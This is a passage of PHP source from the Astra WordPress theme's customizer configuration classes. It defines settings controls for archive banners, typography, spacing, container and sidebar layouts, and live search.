$title_section . '-banner-text-color' ), 'priority' => 10, 'title' => __( 'Text Color', 'astra' ), 'transport' => 'postMessage', 'context' => Astra_Builder_Helper::$design_tab, ), array( 'name' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-banner-link-color]', 'type' => 'control', 'control' => 'ast-color', 'section' => $title_section, 'default' => astra_get_option( $title_section . '-banner-link-color' ), 'transport' => 'postMessage', 'priority' => 15, 'title' => __( 'Link Color', 'astra' ), 'context' => Astra_Builder_Helper::$design_tab, ), array( 'name' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-banner-link-hover-color]', 'type' => 'control', 'control' => 'ast-color', 'section' => $title_section, 'default' => astra_get_option( $title_section . '-banner-link-hover-color' ), 'transport' => 'postMessage', 'priority' => 20, 'title' => __( 'Link Hover Color', 'astra' ), 'context' => Astra_Builder_Helper::$design_tab, 'divider' => array( 'ast_class' => 'ast-bottom-spacing' ), ), array( 'name' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-banner-title-typography-group]', 'type' => 'control', 'priority' => 22, 'control' => 'ast-settings-group', 'context' => array( Astra_Builder_Helper::$design_tab_config, 'relation' => 'AND', array( 'setting' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-structure]', 'operator' => 'contains', 'value' => $title_section . '-title', ), ), 'divider' => array( 'ast_class' => 'ast-top-divider' ), 'title' => __( 'Title Font', 'astra' ), 'is_font' => true, 'section' => $title_section, 'transport' => 'postMessage', ), array( 'name' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-banner-text-typography-group]', 'type' => 'control', 'priority' => 25, 'control' => 'ast-settings-group', 'context' => Astra_Builder_Helper::$design_tab, 'title' => __( 'Text Font', 'astra' ), 'is_font' => true, 'divider' => array( 'ast_class' => 'ast-bottom-spacing' ), 'section' => $title_section, 'transport' => 'postMessage', ), array( 'name' => $title_section . '-text-font-family', 'parent' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-banner-text-typography-group]', 'section' => $title_section, 'type' => 'sub-control', 'control' => 'ast-font', 'font_type' => 'ast-font-family', 'default' => astra_get_option( $title_section . '-text-font-family', 'inherit' ), 'title' => __( 'Font Family', 'astra' ), 'connect' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-text-font-weight]', 'divider' => array( 'ast_class' => 'ast-sub-bottom-divider' ), ), array( 'name' => $title_section . '-text-font-weight', 'parent' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-banner-text-typography-group]', 'section' => $title_section, 'type' => 'sub-control', 'control' => 'ast-font', 'font_type' => 'ast-font-weight', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_font_weight' ), 'default' => astra_get_option( $title_section . '-text-font-weight', 'inherit' ), 'title' => __( 'Font Weight', 'astra' ), 'connect' => $title_section . '-text-font-family', 'divider' => array( 'ast_class' => 'ast-sub-bottom-divider' ), ), array( 'name' => $title_section . '-text-font-size', 'parent' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-banner-text-typography-group]', 'section' => $title_section, 'type' => 'sub-control', 'control' => 'ast-responsive-slider', 'default' => astra_get_option( $title_section . '-text-font-size', Astra_Posts_Structure_Loader::get_customizer_default( 'font-size' ) ), 'transport' => 'postMessage', 'title' => __( 'Font Size', 'astra' ), 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_responsive_slider' ), 'suffix' => array( 'px', 'em', 'vw', 'rem' ), 'input_attrs' => array( 'px' => array( 'min' => 0, 'step' => 1, 'max' => 200, ), 'em' => array( 'min' => 0, 'step' => 1, 'max' => 20, ), 'vw' => array( 'min' => 0, 'step' => 0.1, 'max' => 25, ), 'rem' => array( 'min' => 0, 'step' => 0.1, 'max' => 20, ), ), ), array( 'name' => $title_section . '-text-font-extras', 'parent' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-banner-text-typography-group]', 'section' => $title_section, 'type' => 'sub-control', 'control' => 'ast-font-extras', 'default' => astra_get_option( $title_section . '-text-font-extras', Astra_Posts_Structure_Loader::get_customizer_default( 'font-extras' ) ), 'title' => __( 'Font Extras', 'astra' ), ), array( 'name' => $title_section . '-title-font-family', 'parent' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-banner-title-typography-group]', 'section' => $title_section, 'type' => 'sub-control', 'control' => 'ast-font', 'font_type' => 'ast-font-family', 'default' => astra_get_option( $title_section . '-title-font-family', 'inherit' ), 'title' => __( 'Font Family', 'astra' ), 'connect' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-title-font-weight]', 'divider' => array( 'ast_class' => 'ast-sub-bottom-divider' ), ), array( 'name' => $title_section . '-title-font-weight', 'parent' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-banner-title-typography-group]', 'section' => $title_section, 'type' => 'sub-control', 'control' => 'ast-font', 'font_type' => 'ast-font-weight', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_font_weight' ), 'default' => astra_get_option( $title_section . '-title-font-weight' ), 'title' => __( 'Font Weight', 'astra' ), 'connect' => $title_section . '-title-font-family', 'divider' => array( 'ast_class' => 'ast-sub-bottom-divider' ), ), array( 'name' => $title_section . '-title-font-size', 'parent' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-banner-title-typography-group]', 'section' => $title_section, 'type' => 'sub-control', 'control' => 'ast-responsive-slider', 'default' => astra_get_option( $title_section . '-title-font-size' ), 'transport' => 'postMessage', 'title' => __( 'Font Size', 'astra' ), 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_responsive_slider' ), 'suffix' => array( 'px', 'em', 'vw', 'rem' ), 'input_attrs' => array( 'px' => array( 'min' => 0, 'step' => 1, 'max' => 200, ), 'em' => array( 'min' => 0, 'step' => 1, 'max' => 20, ), 'vw' => array( 'min' => 0, 'step' => 0.1, 'max' => 25, ), 'rem' => array( 'min' => 0, 'step' => 0.1, 'max' => 20, ), ), ), array( 'name' => $title_section . '-title-font-extras', 'parent' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-banner-title-typography-group]', 'section' => $title_section, 'type' => 'sub-control', 'control' => 'ast-font-extras', 'default' => astra_get_option( $title_section . '-title-font-extras', Astra_Posts_Structure_Loader::get_customizer_default( 'font-extras' ) ), 'title' => __( 'Font Extras', 'astra' ), ), array( 'name' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-banner-margin]', 'default' => astra_get_option( $title_section . '-banner-margin', Astra_Posts_Structure_Loader::get_customizer_default( 'responsive-spacing' ) ), 'type' => 'control', 'control' => 'ast-responsive-spacing', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_responsive_spacing' ), 'section' => $title_section, 'title' => __( 'Margin', 'astra' ), 'linked_choices' => true, 'transport' => 'postMessage', 'unit_choices' => array( 'px', 'em', '%' ), 'choices' => array( 'top' => __( 'Top', 'astra' ), 'right' => __( 'Right', 'astra' ), 'bottom' => __( 'Bottom', 'astra' ), 'left' => __( 'Left', 'astra' ), ), 'context' => Astra_Builder_Helper::$design_tab, 'priority' => 100, 'connected' => false, 'divider' => array( 'ast_class' => 'ast-bottom-divider' ), ), array( 'name' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-banner-padding]', 'default' => astra_get_option( $title_section . '-banner-padding', Astra_Posts_Structure_Loader::get_customizer_default( 'responsive-padding' ) ), 'type' => 'control', 'control' => 'ast-responsive-spacing', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_responsive_spacing' ), 'section' => $title_section, 'title' => __( 'Padding', 'astra' ), 'linked_choices' => true, 'transport' => 'postMessage', 'unit_choices' => array( 'px', 'em', '%' ), 'choices' => array( 'top' => __( 'Top', 'astra' ), 'right' => __( 'Right', 'astra' ), 'bottom' => __( 'Bottom', 'astra' ), 'left' => __( 'Left', 'astra' ), ), 'context' => Astra_Builder_Helper::$design_tab, 'priority' => 120, 'connected' => false, ), array( 'name' => ASTRA_THEME_SETTINGS . '[ast-' . $special_type . '-content-layout]', 'type' => 'control', 'control' => 'ast-radio-image', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_choices' ), 'section' => $section, 'default' => astra_get_option( 'ast-' . $special_type . '-content-layout', 'default' ), 'priority' => 3, 'title' => __( 'Container Layout', 'astra' ), 'choices' => array( 'default' => array( 'label' => __( 'Default', 'astra' ), 'path' => class_exists( 'Astra_Builder_UI_Controller' ) ? Astra_Builder_UI_Controller::fetch_svg_icon( 'layout-default', false ) : '', ), 'normal-width-container' => array( 'label' => __( 'Normal', 'astra' ), 'path' => class_exists( 'Astra_Builder_UI_Controller' ) ? Astra_Builder_UI_Controller::fetch_svg_icon( 'normal-width-container', false ) : '', ), 'narrow-width-container' => array( 'label' => __( 'Narrow', 'astra' ), 'path' => class_exists( 'Astra_Builder_UI_Controller' ) ? Astra_Builder_UI_Controller::fetch_svg_icon( 'narrow-width-container', false ) : '', ), 'full-width-container' => array( 'label' => __( 'Full Width', 'astra' ), 'path' => class_exists( 'Astra_Builder_UI_Controller' ) ? Astra_Builder_UI_Controller::fetch_svg_icon( 'full-width-container', false ) : '', ), ), 'divider' => array( 'ast_class' => 'ast-top-divider ast-bottom-spacing' ), ), array( 'name' => ASTRA_THEME_SETTINGS . '[ast-' . $special_type . '-content-style]', 'type' => 'control', 'control' => 'ast-selector', 'section' => $section, 'default' => astra_get_option( 'ast-' . $special_type . '-content-style', 'default' ), 'priority' => 3, 'title' => __( 'Container Style', 'astra' ), 'description' => __( 'Container style will apply only when layout is set to either normal or narrow.', 'astra' ), 'choices' => array( 'default' => __( 'Default', 'astra' ), 'unboxed' => __( 'Unboxed', 'astra' ), 'boxed' => __( 'Boxed', 'astra' ), ), 'renderAs' => 'text', 'responsive' => false, 'divider' => array( 'ast_class' => 'ast-top-divider' ), ), array( 'name' => ASTRA_THEME_SETTINGS . '[ast-' . $special_type . '-sidebar-layout]', 'type' => 'control', 'control' => 'ast-radio-image', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_choices' ), 'section' => $section, 'default' => astra_get_option( 'ast-' . $special_type . '-sidebar-layout', 'default' ), 'description' => __( 'Sidebar will only apply when container layout is set to normal.', 'astra' ), 'priority' => 3, 'title' => __( 'Sidebar Layout', 'astra' ), 'divider' => array( 'ast_class' => 'ast-top-section-divider' ), 'choices' => array( 'default' => array( 'label' => __( 'Default', 'astra' ), 'path' => class_exists( 'Astra_Builder_UI_Controller' ) ? Astra_Builder_UI_Controller::fetch_svg_icon( 'layout-default', false ) : '', ), 'no-sidebar' => array( 'label' => __( 'No Sidebar', 'astra' ), 'path' => class_exists( 'Astra_Builder_UI_Controller' ) ? Astra_Builder_UI_Controller::fetch_svg_icon( 'no-sidebar', false ) : '', ), 'left-sidebar' => array( 'label' => __( 'Left Sidebar', 'astra' ), 'path' => class_exists( 'Astra_Builder_UI_Controller' ) ? Astra_Builder_UI_Controller::fetch_svg_icon( 'left-sidebar', false ) : '', ), 'right-sidebar' => array( 'label' => __( 'Right Sidebar', 'astra' ), 'path' => class_exists( 'Astra_Builder_UI_Controller' ) ? Astra_Builder_UI_Controller::fetch_svg_icon( 'right-sidebar', false ) : '', ), ), ), array( 'name' => ASTRA_THEME_SETTINGS . '[ast-' . $special_type . '-sidebar-style]', 'type' => 'control', 'control' => 'ast-selector', 'section' => $section, 'default' => astra_get_option( 'ast-' . $special_type . '-sidebar-style', 'default' ), 'priority' => 3, 'title' => __( 'Sidebar Style', 'astra' ), 'choices' => array( 'default' => __( 'Default', 'astra' ), 'unboxed' => __( 'Unboxed', 'astra' ), 'boxed' => __( 'Boxed', 'astra' ), ), 'responsive' => false, 'renderAs' => 'text', 'divider' => array( 'ast_class' => 'ast-top-divider' ), ), array( 'name' => ASTRA_THEME_SETTINGS . '[ast-' . $special_type . '-results-style]', 'type' => 'control', 'control' => 'ast-radio-image', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_choices' ), 'section' => $section, 'default' => astra_get_option( 'ast-' . $special_type . '-results-style' ), 'priority' => 14, 'divider' => array( 'ast_class' => 'ast-top-section-divider' ), 'title' => __( 'Results Layout', 'astra' ), 'choices' => $blog_layout, ), array( 'name' => ASTRA_THEME_SETTINGS . '[ast-' . $special_type . '-results-per-page]', 'default' => astra_get_option( 'ast-' . $special_type . '-results-per-page' ), 'type' => 'control', 'control' => 'ast-number', 'qty_selector' => true, 'section' => $section, 'title' => __( 'Post Per Page', 'astra' ), 'priority' => 14, 'responsive' => false, 'input_attrs' => array( 'min' => 1, 'step' => 1, 'max' => 500, ), 'divider' => array( 'ast_class' => 'ast-top-divider' ), ), array( 'name' => ASTRA_THEME_SETTINGS . '[ast-' . $special_type . '-live-search]', 'default' => astra_get_option( 'ast-' . $special_type . '-live-search' ), 'type' => 'control', 'control' => 'ast-toggle-control', 'section' => $section, 'description' => __( 'This option activates Live Search support for the search box on the no results page.', 'astra' ), 'title' => __( 'Live Search', 'astra' ), 'priority' => 15, 'context' => Astra_Builder_Helper::$general_tab, 'divider' => array( 'ast_class' => 'ast-top-divider' ), ), array( 'name' => ASTRA_THEME_SETTINGS . '[ast-' . $special_type . '-live-search-post-types]', 'default' => astra_get_option( 'ast-' . $special_type . '-live-search-post-types' ), 'type' => 'control', 'section' => $section, 'control' => 'ast-multi-selector', 'priority' => 15, 'title' => __( 'Search Within Post Types', 'astra' ), 'context' => array( Astra_Builder_Helper::$general_tab_config, array( 'setting' => ASTRA_THEME_SETTINGS . '[ast-' . $special_type . '-live-search]', 'operator' => '==', 'value' => true, ), ), 'transport' => 'refresh', 'choices' => astra_customizer_search_post_types_choices(), 'divider' => array( 'ast_class' => 'ast-top-divider' ), 'renderAs' => 'text', 'input_attrs' => array( 'stack_after' => 2, // Currently stack options supports after 2 & 3. ), ), ); $configurations = array_merge( $configurations, $_configs ); } return $configurations; } } /** * Kicking this off by creating new object. */ new Astra_Posts_Special_Archive_Structures_Configs(); posts-structures/customizer/class-astra-posts-archive-structures-configs.php 0000644 00000111616 15104530576 0023737 0 ustar 00 <?php /** * Posts Structures Options for our theme. * * @package Astra * @link https://www.brainstormforce.com * @since Astra 4.0.0 */ // Block direct access to the file. if ( ! defined( 'ABSPATH' ) ) { exit; } // Bail if Customizer config base class does not exist. if ( ! class_exists( 'Astra_Customizer_Config_Base' ) ) { return; } /** * Register Posts Structures Customizer Configurations. * * @since 4.0.0 */ class Astra_Posts_Archive_Structures_Configs extends Astra_Customizer_Config_Base { /** * Getting new content layout options dynamically. * Compatibility case: Narrow width + dynamic customizer controls. * * @param string $post_type On basis of this will decide to show narrow-width layout or not. * @since 4.2.0 */ public function get_new_content_layout_choices( $post_type ) { if ( ! in_array( $post_type, Astra_Posts_Structures_Configs::get_narrow_width_exculde_cpts() ) ) { return array( 'default' => array( 'label' => __( 'Default', 'astra' ), 'path' => class_exists( 'Astra_Builder_UI_Controller' ) ? Astra_Builder_UI_Controller::fetch_svg_icon( 'layout-default', false ) : '', ), 'normal-width-container' => array( 'label' => __( 'Normal', 'astra' ), 'path' => class_exists( 'Astra_Builder_UI_Controller' ) ? Astra_Builder_UI_Controller::fetch_svg_icon( 'normal-width-container', false ) : '', ), 'narrow-width-container' => array( 'label' => __( 'Narrow', 'astra' ), 'path' => class_exists( 'Astra_Builder_UI_Controller' ) ? Astra_Builder_UI_Controller::fetch_svg_icon( 'narrow-width-container', false ) : '', ), 'full-width-container' => array( 'label' => __( 'Full Width', 'astra' ), 'path' => class_exists( 'Astra_Builder_UI_Controller' ) ? Astra_Builder_UI_Controller::fetch_svg_icon( 'full-width-container', false ) : '', ), ); } return array( 'default' => array( 'label' => __( 'Default', 'astra' ), 'path' => class_exists( 'Astra_Builder_UI_Controller' ) ? Astra_Builder_UI_Controller::fetch_svg_icon( 'layout-default', false ) : '', ), 'normal-width-container' => array( 'label' => __( 'Normal', 'astra' ), 'path' => class_exists( 'Astra_Builder_UI_Controller' ) ? Astra_Builder_UI_Controller::fetch_svg_icon( 'normal-width-container', false ) : '', ), 'full-width-container' => array( 'label' => __( 'Full Width', 'astra' ), 'path' => class_exists( 'Astra_Builder_UI_Controller' ) ? Astra_Builder_UI_Controller::fetch_svg_icon( 'full-width-container', false ) : '', ), ); } /** * Register Archive Post's Structures Customizer Configurations. * * @param string $parent_section Section of dynamic customizer. * @param string $post_type Post Type. * @since 4.0.0 * * @return array Customizer Configurations. */ public function get_layout_configuration( $parent_section, $post_type ) { if ( 'page' === $post_type ) { return array(); // Page archive not require. } $reveal_effect = array(); /** @psalm-suppress UndefinedClass */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort if ( defined( 'ASTRA_EXT_VER' ) && Astra_Ext_Extension::is_active( 'blog-pro' ) && ! ( 'post' === $post_type || 'product' === $post_type ) ) { /** @psalm-suppress UndefinedClass */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort $reveal_effect = array( 'name' => ASTRA_THEME_SETTINGS . '[archive-' . $post_type . '-ast-reveal-effect]', 'section' => $parent_section, 'type' => 'control', 'control' => 'ast-toggle-control', 'default' => astra_get_option( 'archive-' . $post_type . '-ast-reveal-effect', false ), 'title' => __( 'Reveal Effect', 'astra' ), 'priority' => 5, 'divider' => array( 'ast_class' => 'ast-section-spacing ast-top-section-divider' ), ); } return array( /** * Option: Revamped Archive Container Layout. */ array( 'name' => ASTRA_THEME_SETTINGS . '[archive-' . $post_type . '-ast-content-layout]', 'type' => 'control', 'control' => 'ast-radio-image', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_choices' ), 'section' => $parent_section, 'default' => astra_get_option( 'archive-' . $post_type . '-ast-content-layout', 'default' ), 'priority' => 5, 'title' => __( 'Container Layout', 'astra' ), 'choices' => $this->get_new_content_layout_choices( $post_type ), 'transport' => 'refresh', 'divider' => array( 'ast_class' => 'ast-top-divider' ), ), /** * Option: Archive Content Style. */ array( 'name' => ASTRA_THEME_SETTINGS . '[archive-' . $post_type . '-content-style]', 'type' => 'control', 'control' => 'ast-selector', 'section' => $parent_section, 'default' => astra_get_option( 'archive-' . $post_type . '-content-style', 'default' ), 'priority' => 5, 'title' => __( 'Container Style', 'astra' ), 'choices' => array( 'default' => __( 'Default', 'astra' ), 'unboxed' => __( 'Unboxed', 'astra' ), 'boxed' => __( 'Boxed', 'astra' ), ), 'responsive' => false, 'renderAs' => 'text', 'description' => __( 'Container style will apply only when layout is set to either normal or narrow.', 'astra' ), 'divider' => array( 'ast_class' => 'ast-top-divider' ), ), /** * Option: Archive Sidebar Layout. */ array( 'name' => ASTRA_THEME_SETTINGS . '[archive-' . $post_type . '-sidebar-layout]', 'type' => 'control', 'control' => 'ast-radio-image', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_choices' ), 'section' => $parent_section, 'default' => astra_get_option( 'archive-' . $post_type . '-sidebar-layout', 'default' ), 'priority' => 5, 'title' => __( 'Sidebar Layout', 'astra' ), 'description' => __( 'Sidebar will only apply when container layout is set to normal.', 'astra' ), 'divider' => array( 'ast_class' => 'ast-top-section-divider' ), 'choices' => array( 'default' => array( 'label' => __( 'Default', 'astra' ), 'path' => class_exists( 'Astra_Builder_UI_Controller' ) ? Astra_Builder_UI_Controller::fetch_svg_icon( 'layout-default', false ) : '', ), 'no-sidebar' => array( 'label' => __( 'No Sidebar', 'astra' ), 'path' => class_exists( 'Astra_Builder_UI_Controller' ) ? Astra_Builder_UI_Controller::fetch_svg_icon( 'no-sidebar', false ) : '', ), 'left-sidebar' => array( 'label' => __( 'Left Sidebar', 'astra' ), 'path' => class_exists( 'Astra_Builder_UI_Controller' ) ? Astra_Builder_UI_Controller::fetch_svg_icon( 'left-sidebar', false ) : '', ), 'right-sidebar' => array( 'label' => __( 'Right Sidebar', 'astra' ), 'path' => class_exists( 'Astra_Builder_UI_Controller' ) ? Astra_Builder_UI_Controller::fetch_svg_icon( 'right-sidebar', false ) : '', ), ), ), /** * Option: Archive Sidebar Style. */ array( 'name' => ASTRA_THEME_SETTINGS . '[archive-' . $post_type . '-sidebar-style]', 'type' => 'control', 'control' => 'ast-selector', 'section' => $parent_section, 'default' => astra_get_option( 'archive-' . $post_type . '-sidebar-style', 'default' ), 'priority' => 5, 'title' => __( 'Sidebar Style', 'astra' ), 'choices' => array( 'default' => __( 'Default', 'astra' ), 'unboxed' => __( 'Unboxed', 'astra' ), 'boxed' => __( 'Boxed', 'astra' ), ), 'responsive' => false, 'renderAs' => 'text', 'divider' => array( 'ast_class' => 'ast-top-divider' ), ), $reveal_effect, ); } /** * Register Posts Structures Customizer Configurations. * * @param Array $configurations Astra Customizer Configurations. * @param WP_Customize_Manager $wp_customize instance of WP_Customize_Manager. * @since 4.0.0 * @return Array Astra Customizer Configurations with updated configurations. */ public function register_configuration( $configurations, $wp_customize ) { $post_types = Astra_Posts_Structure_Loader::get_supported_post_types(); foreach ( $post_types as $post_type ) { if ( 'page' === $post_type ) { continue; } $section = 'archive-posttype-' . $post_type; $title_section = 'ast-dynamic-archive-' . $post_type; $background_choices = array( 'none' => __( 'None', 'astra' ), 'custom' => __( 'Custom', 'astra' ), ); if ( 'product' === $post_type ) { $parent_section = 'woocommerce_product_catalog'; $background_choices = array( 'none' => __( 'None', 'astra' ), 'custom' => __( 'Custom', 'astra' ), 'featured' => __( 'Featured', 'astra' ), ); } elseif ( 'download' === $post_type ) { $parent_section = 'section-edd-archive'; } elseif ( 'post' === $post_type ) { $parent_section = 'section-blog'; } else { $parent_section = $section; } $configurations = array_merge( $configurations, $this->get_layout_configuration( $parent_section, $post_type ) ); $archive_structure_choices = array(); /** * Archive sortable title control. */ $archive_structure_choices[ $title_section . '-title' ] = array( 'clone' => false, 'is_parent' => true, 'main_index' => $title_section . '-title', 'clone_limit' => 2, 'title' => __( 'Title', 'astra' ), ); /** * Archive sortable title control. */ $archive_structure_choices[ $title_section . '-description' ] = array( 'clone' => false, 'is_parent' => true, 'main_index' => $title_section . '-description', 'clone_limit' => 2, 'title' => __( 'Description', 'astra' ), ); $_configs = array( /** * Option: Builder Tabs */ array( 'name' => $title_section . '-ast-context-tabs', 'section' => $title_section, 'type' => 'control', 'control' => 'ast-builder-header-control', 'priority' => 0, 'description' => '', 'context' => array(), ), array( 'name' => $title_section, // @codingStandardsIgnoreStart 'title' => $this->get_dynamic_section_title( get_post_type_object( $post_type ), $post_type ), // @codingStandardsIgnoreEnd 'type' => 'section', 'section' => $parent_section, 'panel' => 'product' === $post_type ? 'woocommerce' : '', 'priority' => 1, ), array( 'name' => ASTRA_THEME_SETTINGS . '[ast-archive-' . $post_type . '-title]', 'type' => 'control', 'default' => astra_get_option( 'ast-archive-' . $post_type . '-title', class_exists( 'WooCommerce' ) && 'product' === $post_type ? false : true ), 'control' => 'ast-section-toggle', 'section' => $parent_section, 'priority' => 2, 'linked' => $title_section, // @codingStandardsIgnoreStart 'linkText' => $this->get_dynamic_section_title( get_post_type_object( $post_type ), $post_type ), // @codingStandardsIgnoreEnd ), /** * Layout option. */ array( 'name' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-layout]', 'type' => 'control', 'control' => 'ast-radio-image', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_choices' ), 'section' => $title_section, 'default' => astra_get_option( $title_section . '-layout', 'layout-1' ), 'priority' => 5, 'context' => Astra_Builder_Helper::$general_tab, 'title' => __( 'Banner Layout', 'astra' ), 'divider' => array( 'ast_class' => 'ast-section-spacing' ), 'choices' => array( 'layout-1' => array( 'label' => __( 'Layout 1', 'astra' ), 'path' => Astra_Builder_UI_Controller::fetch_svg_icon( 'banner-layout-1' ), ), 'layout-2' => array( 'label' => __( 'Layout 2', 'astra' ), 'path' => Astra_Builder_UI_Controller::fetch_svg_icon( 'banner-layout-2' ), ), ), ), /** * Option: Banner Content Width. */ array( 'name' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-banner-width-type]', 'type' => 'control', 'control' => 'ast-selector', 'section' => $title_section, 'default' => astra_get_option( $title_section . '-banner-width-type', 'fullwidth' ), 'priority' => 10, 'title' => __( 'Container Width', 'astra' ), 'choices' => array( 'fullwidth' => __( 'Full Width', 'astra' ), 'custom' => __( 'Custom', 'astra' ), ), 'divider' => array( 'ast_class' => 'ast-top-divider ast-bottom-spacing' ), 'responsive' => false, 'renderAs' => 'text', 'context' => array( Astra_Builder_Helper::$general_tab_config, 'relation' => 'AND', array( 'setting' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-layout]', 'operator' => '===', 'value' => 'layout-2', ), ), ), /** * Option: Enter Width */ array( 'name' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-banner-custom-width]', 'type' => 'control', 'control' => 'ast-slider', 'section' => $title_section, 'transport' => 'postMessage', 'default' => astra_get_option( $title_section . '-banner-custom-width', 1200 ), 'context' => array( Astra_Builder_Helper::$general_tab_config, 'relation' => 'AND', array( 'setting' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-layout]', 'operator' => '===', 'value' => 'layout-2', ), array( 'setting' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-banner-width-type]', 'operator' => '===', 'value' => 'custom', ), ), 'priority' => 15, 'title' => __( 'Custom Width', 'astra' ), 'suffix' => 'px', 'input_attrs' => array( 'min' => 768, 'step' => 1, 'max' => 1920, ), ), /** * Option: Display Post Structure */ array( 'name' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-structure]', 'type' => 'control', 'control' => 'ast-sortable', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_multi_choices' ), 'section' => $title_section, 'context' => Astra_Builder_Helper::$general_tab, 'default' => astra_get_option( $title_section . '-structure', array( $title_section . '-title', $title_section . '-description' ) ), 'priority' => 20, 'title' => __( 'Structure', 'astra' ), 'divider' => 'post' !== $post_type ? array( 'ast_class' => 'ast-top-divider' ) : array(), 'choices' => array_merge( array( $title_section . '-breadcrumb' => __( 'Breadcrumb', 'astra' ), ), $archive_structure_choices ), ), /** * Title support for archive. */ array( 'name' => $title_section . '-custom-title', 'parent' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-structure]', 'default' => astra_get_option( $title_section . '-custom-title', '' ), 'linked' => $title_section . '-title', 'type' => 'sub-control', 'control' => 'ast-text-input', 'settings' => array(), 'section' => $title_section, 'priority' => 1, 'title' => 'post' === $post_type ? __( 'Blog Title', 'astra' ) : __( 'Archive Title', 'astra' ), ), /** * Help description for title support. */ array( 'name' => $title_section . '-custom-title-support', 'parent' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-structure]', 'linked' => $title_section . '-title', 'type' => 'sub-control', 'control' => 'ast-description', 'section' => $title_section, 'priority' => 2, 'label' => '', 'help' => esc_html( sprintf( /* translators: 1: post type */ __( 'Note: This title appear on %1$s archive for banner Layout 2.', 'astra' ), $post_type ) ), ), /** * Description support for archive. */ array( 'name' => $title_section . '-custom-description', 'parent' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-structure]', 'default' => astra_get_option( $title_section . '-custom-description', '' ), 'linked' => $title_section . '-description', 'type' => 'sub-control', 'control' => 'ast-text-input', 'input_attrs' => array( 'textarea' => true, ), 'section' => $title_section, 'priority' => 1, 'title' => 'post' === $post_type ? __( 'Blog Description', 'astra' ) : __( 'Archive Description', 'astra' ), ), /** * Help description for description support. */ array( 'name' => $title_section . '-custom-description-support', 'parent' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-structure]', 'linked' => $title_section . '-description', 'type' => 'sub-control', 'control' => 'ast-description', 'section' => $title_section, 'priority' => 2, 'label' => '', 'help' => esc_html( sprintf( /* translators: 1: post type */ __( 'Note: This description appear on %1$s archive for banner Layout 2.', 'astra' ), $post_type ) ), ), /** * Option: Horizontal Alignment. */ array( 'name' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-horizontal-alignment]', 'default' => astra_get_option( $title_section . '-horizontal-alignment' ), 'type' => 'control', 'control' => 'ast-selector', 'section' => $title_section, 'priority' => 21, 'title' => __( 'Horizontal Alignment', 'astra' ), 'context' => Astra_Builder_Helper::$general_tab, 'transport' => 'postMessage', 'choices' => array( 'left' => 'align-left', 'center' => 'align-center', 'right' => 'align-right', ), 'divider' => array( 'ast_class' => 'ast-top-divider' ), ), /** * Option: Vertical Alignment */ array( 'name' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-vertical-alignment]', 'default' => astra_get_option( $title_section . '-vertical-alignment', 'center' ), 'type' => 'control', 'control' => 'ast-selector', 'section' => $title_section, 'priority' => 22, 'title' => __( 'Vertical Alignment', 'astra' ), 'choices' => array( 'flex-start' => __( 'Top', 'astra' ), 'center' => __( 'Middle', 'astra' ), 'flex-end' => __( 'Bottom', 'astra' ), ), 'divider' => array( 'ast_class' => 'ast-top-divider ast-section-spacing' ), 'context' => array( Astra_Builder_Helper::$general_tab_config, 'relation' => 'AND', array( 'setting' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-layout]', 'operator' => '===', 'value' => 'layout-2', ), ), 'transport' => 'postMessage', 'renderAs' => 'text', 'responsive' => false, ), /** * Option: Container min height. */ array( 'name' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-banner-height]', 'type' => 'control', 'control' => 'ast-responsive-slider', 'section' => $title_section, 'transport' => 'postMessage', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_responsive_slider' ), 'default' => astra_get_option( $title_section . '-banner-height', Astra_Posts_Structure_Loader::get_customizer_default( 'responsive-slider' ) ), 'context' => array( Astra_Builder_Helper::$design_tab_config, 'relation' => 'AND', array( 'setting' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-layout]', 'operator' => '===', 'value' => 'layout-2', ), ), 'priority' => 1, 'title' => __( 'Banner Min Height', 'astra' ), 'suffix' => 'px', 'input_attrs' => array( 'min' => 0, 'step' => 1, 'max' => 1000, ), 